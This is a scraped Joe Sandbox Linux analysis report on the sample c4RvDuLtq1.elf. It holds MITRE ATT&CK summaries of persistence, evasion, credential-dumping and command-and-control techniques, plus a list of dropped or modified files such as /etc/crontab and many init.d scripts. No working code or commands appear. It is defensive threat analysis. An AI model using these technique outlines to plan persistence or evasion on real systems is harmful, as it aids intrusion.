Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Metadata, File: File Modification, Firmware: Firmware Modification, Process: OS API Execution, Process: Process Creation, Script: Script Execution, Service: Service Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report c4RvDuLtq1.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/.mod

/etc/.walk

/etc/32676

/etc/crontab

/etc/init.d/acpid

/etc/init.d/alsa-utils

/etc/init.d/anacron

/etc/init.d/apparmor

/etc/init.d/apport

/etc/init.d/avahi-daemon

/etc/init.d/binfmt-support

/etc/init.d/bluetooth

/etc/init.d/console-setup.sh

/etc/init.d/cron

/etc/init.d/cryptdisks

/etc/init.d/cryptdisks-early

/etc/init.d/cups

/etc/init.d/cups-browsed

/etc/init.d/dbus

/etc/init.d/gdm3

/etc/init.d/hddtemp

/etc/init.d/hwclock.sh

/etc/init.d/irqbalance

/etc/init.d/iscsid

/etc/init.d/keyboard-setup.sh

/etc/init.d/kmod

/etc/init.d/lightdm

/etc/init.d/lm-sensors

/etc/init.d/lvm2-lvmpolld

/etc/init.d/mono-xsp4

Linux Analysis Report
c4RvDuLtq1.elf